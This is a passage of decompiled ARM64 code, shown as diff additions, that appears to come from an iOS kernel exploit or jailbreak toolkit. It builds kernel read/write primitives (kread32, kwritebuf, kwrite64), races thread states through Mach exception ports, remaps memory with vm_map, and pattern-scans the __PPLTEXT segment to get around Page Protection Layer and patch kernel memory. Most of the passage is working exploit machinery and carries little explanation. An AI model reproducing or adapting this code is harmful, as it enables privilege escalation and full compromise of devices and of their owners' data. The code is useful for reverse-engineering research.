thread_set_state(*(_DWORD *)(a1 + 672), 6, v114, 0x44u); + sub_10660(*(_QWORD *)(a1 + 8), v100 + 296); + kread32(*(_QWORD *)(a1 + 8), v101); + while ( 1 ) + { + memcpy(*(void **)(a1 + 24), __dst, 0x130u); + v150 = 0; + v111[0] = _NSConcreteStackBlock; + v111[1] = 3221225472LL; + v111[2] = sub_12754; + v111[3] = &unk_448B0; + v112 = v160; + v113 = semaphore; + v111[4] = a1; + v111[5] = &v150; + pthread_create(&v149, 0, (void *(__cdecl *)(void *))sub_111B4, v111); + semaphore_wait(semaphore); + semaphore_signal(v160); + *(_QWORD *)(*(_QWORD *)(a1 + 24) + 240LL) = 0; + v132((__int64)v131, 8u); + v150 = 1; + v79 = *(_QWORD *)(a1 + 24); + v80 = (_DWORD *)(v79 + 272); + v81 = (_QWORD *)(v79 + 296); + v82 = (_QWORD *)(v79 + 240); + v83 = *(_DWORD *)(a1 + 656); + do + { + *v80 = v83; + *v81 = v48; + } + while ( !*v82 ); + v132((__int64)v131, 1u); + pthread_join(v149, 0); + v84 = sub_10660(*(_QWORD *)(a1 + 8), v100 + 296); + if ( v84 != v78 && v84 != v48 && v84 != v41 ) + { + v85 = *(_QWORD *)(a1 + 24); + if ( *(_DWORD *)(v85 + 272) == *(_DWORD *)(a1 + 656) + && v84 + && *(_QWORD *)(v85 + 264) == *(_QWORD *)(a1 + 640) + && *(_QWORD *)(v85 + 248) == *(_QWORD *)(a1 + 624) ) + { + break; + } + } + } + memcpy(v94, (const void *)v85, 0x130u); + sub_10660(*(_QWORD *)(a1 + 8), *(_QWORD *)(a1 + 360) + 296LL); + mach_port_allocate(mach_task_self_, 1u, (mach_port_name_t *)(a1 + 368)); + mach_port_insert_right(mach_task_self_, *(_DWORD *)(a1 + 368), *(_DWORD *)(a1 + 368), 0x14u); + thread_set_exception_ports(*(_DWORD *)(a1 + 672), 0x1BFEu, *(_DWORD *)(a1 + 368), 2, 17); + thread_resume(*(_DWORD *)(a1 + 672)); + v86 = (mach_msg_header_t *)calloc(1u, 0x800u); + *(_QWORD *)(a1 + 16) = v86; + mach_msg(v86, 2, 0, 0x400u, *(_DWORD *)(a1 + 368), 0, 0); + sub_10660(*(_QWORD *)(a1 + 8), *(_QWORD *)(a1 + 360) + 296LL); + memcpy(*(void **)(a1 + 24), v94, 0x130u); + v87 = *(_QWORD *)(a1 + 360) & 0xFFFFFFFFFFFFC000LL; + v88 = *(_QWORD *)(a1 + 360) & 0x3FFFLL; + v110 = 0; + v164 = 0u; + v165 = 0u; + sub_1062C(*(_QWORD *)(a1 + 8), v103, (__int64)&v164, 32); + HIDWORD(v164) = *(_QWORD *)(a1 + 32); + kwritebuf_0_or_5(*(_QWORD *)(a1 + 8), v103, (__int64)&v164, 32); + vm_map(mach_task_self_, &v110, 0x4000u, 0, 1, object_handle, v87, 0, 3, 3, 1u); + v164 = 0u; + v165 = 0u; + sub_1062C(*(_QWORD *)(a1 + 8), v103, (__int64)&v164, 32); + HIDWORD(v164) = v102 >> v159; + kwritebuf_0_or_5(*(_QWORD *)(a1 + 8), v103, (__int64)&v164, 32); + v89 = v110 + v88; + *(_QWORD *)(a1 + 352) = v110 + v88; + *(_QWORD *)(v89 + 264) = 1094795585; + *(_DWORD *)(v89 + 272) = 0; + *(_QWORD *)(v89 + 248) = 1111638594; + *(_OWORD *)(v89 + 136) = xmmword_42F20; + sub_109F8(a1, *(_QWORD *)(a1 + 360), 1094795585, 0, 1111638594, 1128481603, 1145324612); + v178 = 0u; + v177 = 0u; + v176 = 0u; + v175 = 0u; + v174 = 0u; + v172 = 0u; + v173 = 0u; + v170 = 0u; + v171 = 0u; + v168 = 0u; + v169 = 0u; + v166 = 0u; + v167 = 0u; + v164 = 0u; + v165 = 0u; + sub_10B90(a1, qword_48040, (__int64)&v164); + kwrite64_via_kwritebuf(*(_QWORD *)(a1 + 8), *(_QWORD *)(a1 + 664) + 61448LL, *(_QWORD *)(a1 + 664) + 61408LL); + v90 = *(_QWORD *)(a1 + 8); + v91 = *(_QWORD *)(a1 + 664) + 61456LL; + v92 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a1 + 16LL))(a1); + kwrite64_via_kwritebuf(v90, v91, v92); + *(_DWORD *)(a1 + 40) = v162; + if ( semaphore + 1 >= 2 ) + semaphore_destroy(mach_task_self_, semaphore); + if ( v160 + 1 >= 2 ) + semaphore_destroy(mach_task_self_, v160); + v54 = 1; + } + while ( v54 == 87 ); + return 0; +} +// 42F00: using guessed type __int128 xmmword_42F00; +// 42F10: using guessed type __int128 xmmword_42F10; +// 42F20: using guessed type __int128 xmmword_42F20; +// 48008: using guessed type __int64 qword_48008; +// 48010: using guessed type __int64 qword_48010; +// 48030: using guessed type __int64 qword_48030; +// 48040: using guessed type __int64 qword_48040; + +//----- (00000000000125E4) ---------------------------------------------------- +__int64 __fastcall sub_125E4(__int64 a1) +{ + __int64 i; // x20 + __int64 result; // x0 + _QWORD *v4; // x9 + + __semwait_signal(); + while ( !**(_QWORD **)(a1 + 32) ) + ; + thread_terminate(**(_DWORD **)(a1 + 40)); + for ( i = 0; i != 256; i += 4 ) + result = thread_create(mach_task_self_, (thread_act_t *)(*(_QWORD *)(a1 + 48) + i)); + v4 = *(_QWORD **)(a1 + 32); + **(_DWORD **)(a1 + 40) = 0; + *v4 = 2; + return result; +} + +//----- (0000000000012678) ---------------------------------------------------- +__int64 __fastcall sub_12678(__int64 a1, unsigned __int8 a2) +{ + __int64 v4; // x21 + __int64 v5; // x8 + mem_entry_name_port_t object_handle; // [xsp+Ch] [xbp-24h] BYREF + + object_handle = 0; + v4 = *(_QWORD *)(a1 + 32); + kwrite64_via_kwritebuf(*(_QWORD *)(v4 + 8), *(_QWORD *)(a1 + 40), *(_QWORD *)(a1 + 48) | (*(_QWORD *)(a1 + 48) << 32)); + v5 = (*(_QWORD *)(a1 + 40) - *(_QWORD *)(a1 + 64)) >> *(_DWORD *)(a1 + 96); + kwrite64_via_kwritebuf(*(_QWORD *)(v4 + 8), *(_QWORD *)(a1 + 56) + 8LL, v5 | (v5 << 32)); + mach_make_memory_entry( + mach_task_self_, + (vm_size_t *)(a1 + 72), + 0, + (a2 << 24) | 0x10003, + &object_handle, + *(_DWORD *)(a1 + 100)); + kwrite64_via_kwritebuf(*(_QWORD *)(v4 + 8), *(_QWORD *)(a1 + 56) + 8LL, *(_QWORD *)(a1 + 80)); + kwrite64_via_kwritebuf(*(_QWORD *)(v4 + 8), *(_QWORD *)(a1 + 40), *(_QWORD *)(a1 + 88)); + return mach_port_destroy(mach_task_self_, object_handle); +} + +//----- (0000000000012754) ---------------------------------------------------- +__int64 __fastcall sub_12754(__int64 a1) +{ + __int64 v2; // x20 + thread_act_t v3; // w0 + __int64 vars8; // [xsp+18h] [xbp+8h] + + v2 = *(_QWORD *)(a1 + 32); + __semwait_signal(); + while ( !**(_QWORD **)(a1 + 40) ) + ; + v3 = *(_DWORD *)(v2 + 672); + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return thread_set_state(v3, 6, (thread_state_t)(v2 + 384), 0x44u); +} +// 127B0: variable 'vars8' is possibly undefined + +//----- (00000000000127C0) ---------------------------------------------------- +__int64 __fastcall sub_127C0(__int64 a1) +{ + __int64 v2; // x0 + struct_krwCtx *v3; // x20 + __int64 v4; // x0 + unsigned __int64 v5; // x0 + __int64 v6; // x22 + __int64 v7; // x24 + vm_address_t v8; // x20 + __int64 v9; // x21 + __int64 result; // x0 + int v11; // w23 + __int64 v12; // x24 + __int128 v13; // [xsp+0h] [xbp-70h] BYREF + __int128 v14; // [xsp+10h] [xbp-60h] + + v2 = *(_QWORD *)(a1 + 8); + v3 = *(struct_krwCtx **)(v2 + 32); + v4 = sub_10660(v2, *(_QWORD *)(v2 + 16) + 40LL); + v5 = krw_xpac_vaddr_2(v3, v4); + v6 = sub_10660(*(_QWORD *)(a1 + 8), v5 + 24); + while ( 1 ) + { + v7 = v6; + v8 = sub_10660(*(_QWORD *)(a1 + 8), v6 + 16); + v9 = sub_10660(*(_QWORD *)(a1 + 8), v6 + 24); + result = kread32(*(_QWORD *)(a1 + 8), v6 + 72); + if ( v8 == 0x1000000000LL ) + break; + v11 = result; + v6 = sub_10660(*(_QWORD *)(a1 + 8), v6 + 8); + if ( v11 < 0 ) + { + v13 = 0u; + v14 = 0u; + v12 = v7 + 48; + sub_1062C(*(_QWORD *)(a1 + 8), v12, (__int64)&v13, 32); + HIDWORD(v13) = *(_QWORD *)(a1 + 32); + kwritebuf_0_or_5(*(_QWORD *)(a1 + 8), v12, (__int64)&v13, 32); + v13 = 0u; + v14 = 0u; + sub_1062C(*(_QWORD *)(a1 + 8), v12, (__int64)&v13, 32); + DWORD2(v14) = v11 & 0x7FFFFFFF; + kwritebuf_0_or_5(*(_QWORD *)(a1 + 8), v12, (__int64)&v13, 32); + vm_deallocate(mach_task_self_, v8, v9 - v8); + } + } + return result; +} + +//----- (0000000000012954) ---------------------------------------------------- +__int64 __fastcall sub_12954(const void *a1, const void *a2) +{ + __int64 v2; // x20 + CFTypeID v5; // x22 + CFTypeID v6; // x22 + void (__cdecl *v7)(const void *, const void *, void *); // x0 + unsigned int v9; // [xsp+0h] [xbp-30h] BYREF + const void *v10; // [xsp+8h] [xbp-28h] + + v2 = 708609; + if ( a1 ) + { + v5 = CFGetTypeID(a1); + if ( v5 == CFDictionaryGetTypeID() ) + { + if ( a2 ) + { + v6 = CFGetTypeID(a2); + if ( v6 == CFDictionaryGetTypeID() ) + { + v9 = 0; + v10 = a1; + v7 = (void (__cdecl *)(const void *, const void *, void *))nullsub_1(sub_129F8); + CFDictionaryApplyFunction((CFDictionaryRef)a2, v7, &v9); + return v9; + } + } + } + } + return v2; +} +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (00000000000129F8) ---------------------------------------------------- +void __fastcall sub_129F8(const void *a1, CFTypeRef cf, __int64 a3) +{ + CFTypeID v6; // x22 + CFTypeID v7; // x22 + int v8; // w23 + void *v9; // x21 + CFTypeID v10; // x22 + CFTypeID v11; // x22 + CFTypeID v12; // x22 + CFIndex Count; // x22 + void (__cdecl *v14)(const void *, void *); // x0 + CFIndex v15; // x21 + void (__cdecl *v16)(const void *, void *); // x0 + int v17; // w8 + void *value; // [xsp+8h] [xbp-48h] BYREF + int context; // [xsp+10h] [xbp-40h] BYREF + void *v20; // [xsp+18h] [xbp-38h] + CFRange v21; // 0:x1.16 + CFRange v22; // 0:x1.16 + + if ( !a3 || *(_DWORD *)a3 ) + return; + if ( !a1 || !cf ) + { + v17 = 708609; +LABEL_22: + *(_DWORD *)a3 = v17; + return; + } + v6 = CFGetTypeID(cf); + if ( CFStringGetTypeID() != v6 && CFArrayGetTypeID() != v6 && CFBooleanGetTypeID() != v6 && CFNumberGetTypeID() != v6 ) + goto LABEL_21; + value = 0; + if ( !CFDictionaryGetValueIfPresent(*(CFDictionaryRef *)(a3 + 8), a1, (const void **)&value) ) + goto LABEL_19; + v7 = CFGetTypeID(value); + if ( CFGetTypeID(cf) != v7 ) + { +LABEL_21: + v17 = 708628; + goto LABEL_22; + } + if ( CFArrayGetTypeID() == v7 ) + { + v8 = 708609; + v9 = value; + if ( value ) + { + v10 = CFGetTypeID(value); + if ( v10 == CFArrayGetTypeID() ) + { + v11 = CFGetTypeID(cf); + if ( v11 == CFArrayGetTypeID() ) + { + v12 = CFGetTypeID(cf); + if ( v12 == CFArrayGetTypeID() ) + { + LOBYTE(context) = 1; + Count = CFArrayGetCount((CFArrayRef)cf); + v14 = (void (__cdecl *)(const void *, void *))nullsub_1(sub_12E48); + v21.location = 0; + v21.length = Count; + CFArrayApplyFunction((CFArrayRef)cf, v21, v14, &context); + if ( (_BYTE)context ) + { + context = 0; + v20 = v9; + v15 = CFArrayGetCount((CFArrayRef)cf); + v16 = (void (__cdecl *)(const void *, void *))nullsub_1(sub_12DB0); + v22.location = 0; + v22.length = v15; + CFArrayApplyFunction((CFArrayRef)cf, v22, v16, &context); + v8 = context; + } + else + { + v8 = 708628; + } + } + } + } + } + *(_DWORD *)a3 = v8; + return; + } +LABEL_19: + if ( !*(_DWORD *)a3 ) + CFDictionarySetValue(*(CFMutableDictionaryRef *)(a3 + 8), a1, cf); +} +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (0000000000012BF4) ---------------------------------------------------- +__int64 __fastcall sub_12BF4(const void *a1, const void *a2) +{ + __int64 v2; // x20 + CFTypeID v5; // x22 + CFTypeID v6; // x22 + void (__cdecl *v7)(const void *, const void *, void *); // x0 + unsigned int v9; // [xsp+0h] [xbp-30h] BYREF + const void *v10; // [xsp+8h] [xbp-28h] + + v2 = 708609; + if ( a1 ) + { + v5 = CFGetTypeID(a1); + if ( v5 == CFDictionaryGetTypeID() ) + { + if ( a2 ) + { + v6 = CFGetTypeID(a2); + if ( v6 == CFDictionaryGetTypeID() ) + { + v9 = 0; + v10 = a1; + v7 = (void (__cdecl *)(const void *, const void *, void *))nullsub_1(sub_12C98); + CFDictionaryApplyFunction((CFDictionaryRef)a2, v7, &v9); + return v9; + } + } + } + } + return v2; +} +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (0000000000012C98) ---------------------------------------------------- +void __fastcall sub_12C98(void *key, const CFArrayRef *a2, __int64 a3) +{ + CFTypeID v5; // x21 + CFIndex Count; // x21 + void (__cdecl *v7)(const void *, void *); // x0 + int v8; // w8 + int context; // [xsp+8h] [xbp-38h] BYREF + void *v10; // [xsp+10h] [xbp-30h] + void *value; // [xsp+18h] [xbp-28h] BYREF + CFRange v12; // 0:x1.16 + + if ( a3 && !*(_DWORD *)a3 ) + { + if ( key && a2 ) + { + value = 0; + if ( !CFDictionaryGetValueIfPresent(*(CFDictionaryRef *)(a3 + 8), key, (const void **)&value) ) + { + v8 = 708625; + goto LABEL_14; + } + v5 = CFGetTypeID(value); + if ( CFGetTypeID(a2) == v5 ) + { + if ( CFArrayGetTypeID() == v5 ) + { + context = 0; + v10 = value; + Count = CFArrayGetCount(a2); + v7 = (void (__cdecl *)(const void *, void *))nullsub_1(sub_12E88); + v12.location = 0; + v12.length = Count; + CFArrayApplyFunction(a2, v12, v7, &context); + v8 = context; +LABEL_14: + *(_DWORD *)a3 = v8; + return; + } + if ( CFEqual(a2, value) ) + { + *(_DWORD *)a3 = 0; + return; + } + } + v8 = 708628; + goto LABEL_14; + } + v8 = 708609; + goto LABEL_14; + } +} +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (0000000000012DB0) ---------------------------------------------------- +void __fastcall sub_12DB0(const void *a1, __int64 a2) +{ + const CFArrayRef *v4; // x21 + CFArrayRef *v5; // x0 + __int64 vars8; // [xsp+28h] [xbp+8h] + CFRange v7; // 0:x1.16 + + if ( a2 && !*(_DWORD *)a2 ) + { + if ( a1 ) + { + v4 = *(const CFArrayRef **)(a2 + 8); + v7.length = CFArrayGetCount(v4); + v7.location = 0; + if ( !CFArrayContainsValue(v4, v7, a1) ) + { + v5 = *(CFArrayRef **)(a2 + 8); + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + CFArrayAppendValue(v5, a1); + } + } + else + { + *(_DWORD *)a2 = 708609; + } + } +} +// 12E28: variable 'vars8' is possibly undefined + +//----- (0000000000012E48) ---------------------------------------------------- +const void *__fastcall sub_12E48(const void *result, _BYTE *a2) +{ + const void *v3; // x20 + + if ( a2 ) + { + if ( !result || (v3 = (const void *)CFGetTypeID(result), result = (const void *)CFStringGetTypeID(), v3 != result) ) + *a2 = 0; + } + return result; +} + +//----- (0000000000012E88) ---------------------------------------------------- +const void *__fastcall sub_12E88(const void *result, __int64 a2) +{ + const void *v3; // x20 + int v4; // w22 + const CFArrayRef *v5; // x21 + CFRange v6; // 0:x1.16 + + if ( a2 && !*(_DWORD *)a2 ) + { + v3 = result; + v4 = 708609; + if ( result ) + { + v5 = *(const CFArrayRef **)(a2 + 8); + v6.length = CFArrayGetCount(v5); + v6.location = 0; + result = (const void *)CFArrayContainsValue(v5, v6, v3); + if ( (_DWORD)result ) + return result; + v4 = 708625; + } + *(_DWORD *)a2 = v4; + } + return result; +} + +//----- (0000000000012EF8) ---------------------------------------------------- +void __fastcall sub_12EF8(struct_krwCtx *a1) +{ + unsigned __int64 v2; // x8 + unsigned __int64 v3; // x8 + unsigned __int64 v4; // x8 + unsigned __int64 v5; // x8 + __int64 vars8; // [xsp+18h] [xbp+8h] + + if ( krw_ctx_has_flag(a1, 0x5184000) + && ((v2 = a1->someLargeNumber, v2 > 0x2712000C6FFFFFLL) || v2 > 0x225C23800FFFFFLL && a1->xnuMajorVersion < 10002) + || krw_ctx_has_flag(a1, 84934656) + && ((v3 = a1->someLargeNumber, v3 > 0x271200073FFFFFLL) || v3 > 0x225C1E804FFFFFLL && a1->xnuMajorVersion <= 10001) ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + sub_15CC8((__int64)a1); + } + else if ( !krw_ctx_has_flag(a1, 85475328) + || (v4 = a1->someLargeNumber, v4 <= 0x2712000C6FFFFFLL) + && (v4 <= 0x225C23800FFFFFLL || a1->xnuMajorVersion >= 10002) ) + { + if ( !krw_ctx_has_flag(a1, 84934656) + || (v5 = a1->someLargeNumber, v5 <= 0x271200073FFFFFLL) + && (v5 <= 0x225C1E804FFFFFLL || a1->xnuMajorVersion >= 10002) ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + nullsub_2(a1); + } + } +} +// 12F90: variable 'vars8' is possibly undefined +// 22D68: using guessed type __int64 __fastcall nullsub_2(_QWORD); + +//----- (000000000001308C) ---------------------------------------------------- +bool __fastcall sub_1308C(struct_krwCtx *a1) +{ + return krw_ctx_has_flag(a1, 85475329); +} + +//----- (00000000000130B4) ---------------------------------------------------- +void __fastcall sub_130B4(__int64 a1, unsigned __int64 a2, __int64 a3, __int64 a4) +{ + unsigned __int64 v8; // x24 + unsigned __int64 v9; // x26 + __int64 v10; // x25 + __int64 v11; // x8 + unsigned __int64 v12; // x23 + unsigned __int64 v13; // x26 + __int64 v14; // x28 + int v15; // w0 + bool v16; // cc + unsigned __int64 v17; // x8 + unsigned __int64 v18; // x9 + unsigned __int64 v19; // x10 + int v20; // w9 + __int64 v21; // x0 + __int64 v22; // [xsp+0h] [xbp-70h] BYREF + __int64 v23; // [xsp+8h] [xbp-68h] BYREF + unsigned __int64 v24; // [xsp+10h] [xbp-60h] BYREF + __int64 v25; // [xsp+18h] [xbp-58h] BYREF + + v24 = 0; + v25 = 0; + v22 = 0; + v23 = 0; + if ( krw_ctx_has_flag((struct_krwCtx *)a1, 85475329) && a2 && a3 && (_DWORD)a4 ) + { + if ( *(_QWORD *)(a1 + 344) < 0x1F530000000000uLL ) + { + if ( (unsigned int)sub_1353C(a1, (__int64 *)&v24, (int *)&v23 + 1) ) + { + v8 = v24; + if ( v24 <= a2 ) + { + v9 = a2 + (unsigned int)a4; + v10 = HIDWORD(v23); + if ( v9 <= v24 + HIDWORD(v23) ) + { + if ( (unsigned int)sub_36160((struct_krwCtx *)a1, 3u, &v25) ) + { + if ( v25 ) + goto LABEL_13; + v16 = (unsigned int)v10 > 0x8C000 + || (unsigned __int64)(*(_QWORD *)(a1 + 344) - 0x18090A07900000LL) > 0xF788FFFFFLL; + v17 = v10 + 8; + if ( !v16 ) + v17 = 573448; + v18 = *(unsigned int *)(a1 + 384); + v19 = v17 % v18; + v20 = v18 - v17 % v18; + if ( !v19 ) + v20 = 0; + LODWORD(v23) = v17 + v20; + v21 = sub_3796C(a1, &v23); + v25 = v21; + if ( v21 ) + { + if ( (unsigned int)sub_361DC(a1, 3u, v21) ) + { +LABEL_13: + v11 = *(_QWORD *)(a1 + 392); + v12 = a2 & ~v11; + v13 = (v9 - 1) & ~v11; + if ( v12 > v13 ) + { +LABEL_19: + kwritebuf_last_1(a1, a2 - v8 + v25, a3, a4); + } + else + { + while ( (unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v25 + v10, 8, &v22) ) + { + v14 = 1 << ((v12 - v8) >> 14); + if ( (v22 & v14) == 0 ) + { + sub_13750((struct_krwCtx *)a1, v25 + v12 - v8, v12); + if ( !v15 ) + break; + v22 |= v14; + if ( !(unsigned int)kwritebuf_last_1(a1, v25 + v10, (__int64)&v22, 8) ) + break; + } + v12 += *(unsigned int *)(a1 + 384); + if ( v12 > v13 ) + goto LABEL_19; + } + } + } + } + } + } + } + } + } + else + { + sub_13304((struct_krwCtx *)a1, a2, a3, a4, 0); + } + } +} +// 13224: variable 'v15' is possibly undefined + +//----- (0000000000013304) ---------------------------------------------------- +bool __fastcall sub_13304(struct_krwCtx *ctx, mach_vm_address_t vaddr, __int64 newBytes, __int64 size, int a5) +{ + int v10; // w0 + uint64_t qword188; // x8 + mach_vm_address_t v12; // x24 + __int64 v13; // x27 + uint64_t *v14; // x8 + __int64 v15; // x9 + __int64 v16; // x10 + mach_vm_address_t v17; // x1 + __int64 v18; // x0 + __int64 v19; // x26 + __int64 v20; // x8 + unsigned __int64 v21; // x25 + unsigned __int64 v22; // x0 + int v23; // w0 + _BYTE v25[12]; // [xsp+4h] [xbp-5Ch] BYREF + + v10 = sub_251A4((__int64)ctx, 5u, 0x2710u); + if ( !v10 ) + { + *(_QWORD *)&v25[4] = 0; + qword188 = ctx->qword188; + v12 = vaddr & ~qword188; + if ( v12 == ((vaddr + (unsigned int)size - 1) & ~qword188) ) + { + if ( ctx->someLargeNumber <= 0x1F52FFFFFFFFFFLL ) + v13 = 16; + else + v13 = 256; + v14 = &ctx->gap191[161]; + v15 = v13; + do + { + if ( !*v14 ) + break; + if ( v12 == *v14 ) + { + v16 = *(v14 - 1); + if ( v16 ) + { + v17 = vaddr - v12 + v16; +LABEL_30: + if ( (unsigned int)kwrite_something(ctx, v17, newBytes, size, a5) ) + { + v10 = sub_25164((__int64)ctx, 5u); + return v10 == 0; + } + goto LABEL_32; + } + } + v14 += 2; + --v15; + } + while ( v15 ); + if ( !(unsigned int)sub_36160(ctx, 7u, (__int64 *)&v25[4]) ) + goto LABEL_32; + if ( *(_QWORD *)&v25[4] ) + { + if ( !(unsigned int)kreadbuf_last_1(ctx, *(__int64 *)&v25[4], (unsigned int)(16 * v13), &ctx->gap191[160]) ) + goto LABEL_32; + } + else + { + *(_QWORD *)v25 = (unsigned int)(16 * v13); + v18 = sub_3796C((__int64)ctx, v25); + *(_QWORD *)&v25[4] = v18; + if ( !v18 || !(unsigned int)sub_361DC((__int64)ctx, 7u, v18) ) + goto LABEL_32; + bzero(&ctx->gap191[160], (unsigned int)(16 * v13)); + } + v19 = 2160; + while ( 1 ) + { + v20 = *(_QWORD *)&ctx->gap4[v19 + 4]; + if ( !v20 ) + break; + if ( v12 == v20 ) + { + v21 = *(_QWORD *)((char *)&ctx->flags + v19); + if ( v21 ) + goto LABEL_29; + } + v19 += 16; + if ( !--v13 ) + goto LABEL_32; + } + *(_DWORD *)v25 = ctx->pageSizeOrSomething; + v22 = sub_37210((__int64)ctx, (unsigned int *)v25); + if ( v22 ) + { + if ( *(_DWORD *)v25 == ctx->pageSizeOrSomething ) + { + v21 = v22; + sub_13750(ctx, v22, v12); + if ( v23 ) + { + *(_QWORD *)&ctx->gap4[v19 + 4] = v12; + *(_QWORD *)((char *)&ctx->flags + v19) = v21; + if ( (unsigned int)kwritebuf_last_1( + (__int64)ctx, + *(_QWORD *)&v25[4] + ((v19 - 2160) & 0xFFFFFFFF0LL), + (__int64)ctx + v19, + 16) ) + { +LABEL_29: + v17 = vaddr - v12 + v21; + goto LABEL_30; + } + } + } + } + } +LABEL_32: + sub_25164((__int64)ctx, 5u); + v10 = 708619; + } + return v10 == 0; +} +// 134A0: variable 'v23' is possibly undefined + +//----- (000000000001353C) ---------------------------------------------------- +__int64 __fastcall sub_1353C(__int64 a1, __int64 *a2, int *a3) +{ + __int64 v6; // x22 + int v7; // w8 + __int64 v9; // x0 + int v10; // w8 + int v11; // w9 + char *v13; // x22 + unsigned __int64 v14; // x9 + __int64 v15; // x0 + __int64 v16; // x23 + unsigned __int64 v17; // x0 + unsigned __int64 v18; // x0 + __int64 v19; // x0 + int v20; // w9 + __int128 v21; // [xsp+0h] [xbp-60h] BYREF + unsigned __int64 v22; // [xsp+10h] [xbp-50h] + __int128 v23; // [xsp+18h] [xbp-48h] BYREF + unsigned __int64 v24; // [xsp+28h] [xbp-38h] + + v6 = *(_QWORD *)(a1 + 6280); + if ( v6 ) + { + v7 = *(_DWORD *)(a1 + 6288); +LABEL_3: + *a2 = v6; + *a3 = v7; + return 1; + } + v9 = *(_QWORD *)(a1 + 6648); + v10 = *(_DWORD *)(v9 + 112); + if ( v10 > 8791 ) + { + if ( v10 != 8792 && v10 != 8796 ) + { + v11 = 10002; +LABEL_13: + if ( v10 != v11 ) + { + v13 = 0; + goto LABEL_15; + } + } + } + else if ( (unsigned int)(v10 - 8019) >= 2 ) + { + if ( v10 == 6153 ) + { + v13 = "1F 01 .. EB 20 91 .. FA .. .. 00 54"; + goto LABEL_15; + } + v11 = 7195; + goto LABEL_13; + } + v13 = "1F 01 13 EB 20 91 53 FA .. .. 00 54 68 02"; +LABEL_15: + sub_19B98("__PPLTEXT", &v23, v9); + if ( *(_QWORD *)(a1 + 344) >= 0x18091980200000uLL && *(int *)(a1 + 320) <= 7194 ) + { + if ( !*((_QWORD *)&v23 + 1) ) + return 0; + v14 = *(unsigned int *)(a1 + 384); + if ( v24 <= v14 ) + return 0; + *((_QWORD *)&v23 + 1) += v14; + v24 -= v14; + } + v21 = v23; + v22 = v24; + v15 = kernel_pattern_scan((__int64)&v21, v13, 0); + if ( v15 ) + { + v16 = v15; + v17 = sub_1E854(*(__int64 **)(a1 + 6648), (__int64 *)(v15 - 16)); + if ( v17 ) + v6 = sub_19B94(*(_QWORD *)(a1 + 6648), v17); + else + v6 = 0; + if ( *(int *)(a1 + 320) >= 7195 ) + { + v18 = sub_1E854(*(__int64 **)(a1 + 6648), (__int64 *)(v16 - 8)); + if ( !v18 ) + return 0; + v19 = sub_19B94(*(_QWORD *)(a1 + 6648), v18); + if ( !v19 ) + return 0; + v7 = v19 - v6; + if ( !v6 ) + return 0; +LABEL_31: + v20 = *(_DWORD *)(a1 + 320); + if ( v20 <= 7194 ) + { + if ( v20 < 6153 ) + { + v7 = 589824; + } + else if ( *(_QWORD *)(a1 + 344) <= 0x18090A078FFFFFuLL ) + { + v7 = 573440; + } + else + { + v7 = 557056; + } + } + *(_QWORD *)(a1 + 6280) = v6; + *(_DWORD *)(a1 + 6288) = v7; + goto LABEL_3; + } + v7 = 0; + if ( v6 ) + goto LABEL_31; + } + return 0; +} +// 19B94: using guessed type __int64 __fastcall sub_19B94(_QWORD, _QWORD); + +//----- (0000000000013750) ---------------------------------------------------- +void __fastcall sub_13750(struct_krwCtx *a1, unsigned __int64 a2, unsigned __int64 a3) +{ + int v5; // w0 + unsigned __int64 v6; // x21 + int v7; // w0 + __int64 v8; // x20 + unsigned __int64 v9; // x22 + unsigned __int64 v10; // x21 + __int128 v11; // [xsp+0h] [xbp-80h] BYREF + __int128 v12; // [xsp+10h] [xbp-70h] + unsigned __int64 v13; // [xsp+20h] [xbp-60h] + __int128 v14; // [xsp+30h] [xbp-50h] BYREF + __int128 v15; // [xsp+40h] [xbp-40h] + unsigned __int64 v16; // [xsp+50h] [xbp-30h] + + v16 = 0; + v14 = 0u; + v15 = 0u; + v13 = 0; + v11 = 0u; + v12 = 0u; + sub_2183C((__int64)a1, a3, (__int64)&v11); + if ( v5 ) + { + if ( BYTE4(v12) == 3 ) + { + v6 = v13; + sub_2183C((__int64)a1, a2, (__int64)&v14); + if ( v7 ) + { + if ( BYTE4(v15) == 3 ) + { + v8 = v14; + v9 = v16; + v10 = v16 & 0xFFFF000000003FFFLL | (((v6 >> 14) & 0x3FFFFFFFFLL) << 14); + if ( ((unsigned int)v10 == (unsigned int)v16 || sub_13924(a1, v14, v10)) + && (HIDWORD(v9) == HIDWORD(v10) || sub_13924(a1, v8 + 4, SHIDWORD(v10))) ) + { + sub_2AABC((__int64)a1, 0x2710u); + } + } + } + } + } +} +// 13794: variable 'v5' is possibly undefined +// 137B8: variable 'v7' is possibly undefined + +//----- (0000000000013844) ---------------------------------------------------- +void __fastcall sub_13844(struct_krwCtx *a1, unsigned __int64 a2, int a3) +{ + unsigned int v6; // [xsp+Ch] [xbp-34h] BYREF + unsigned __int64 v7; // [xsp+10h] [xbp-30h] BYREF + int v8; // [xsp+1Ch] [xbp-24h] BYREF + __int64 vars8; // [xsp+48h] [xbp+8h] + + v8 = a3; + v7 = 0; + v6 = 0; + if ( krw_ctx_has_flag(a1, 85475329) ) + { + if ( a1->someLargeNumber >= 0x1F530000000000LL ) + goto LABEL_6; + if ( !(unsigned int)sub_1353C((__int64)a1, (__int64 *)&v7, (int *)&v6) ) + return; + if ( v7 <= a2 && a2 + 4 <= v7 + v6 ) + { + sub_130B4((__int64)a1, a2, (__int64)&v8, 4); + } + else + { +LABEL_6: + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + sub_13924(a1, a2, a3); + } + } +} + +//----- (0000000000013924) ---------------------------------------------------- +bool __fastcall sub_13924(struct_krwCtx *a1, unsigned __int64 a2, int a3) +{ + unsigned __int64 someLargeNumber; // x8 + unsigned __int64 v7; // x8 + int v8; // w0 + unsigned __int64 v10; // x8 + + if ( krw_ctx_has_flag(a1, 85475328) + && ((someLargeNumber = a1->someLargeNumber, someLargeNumber > 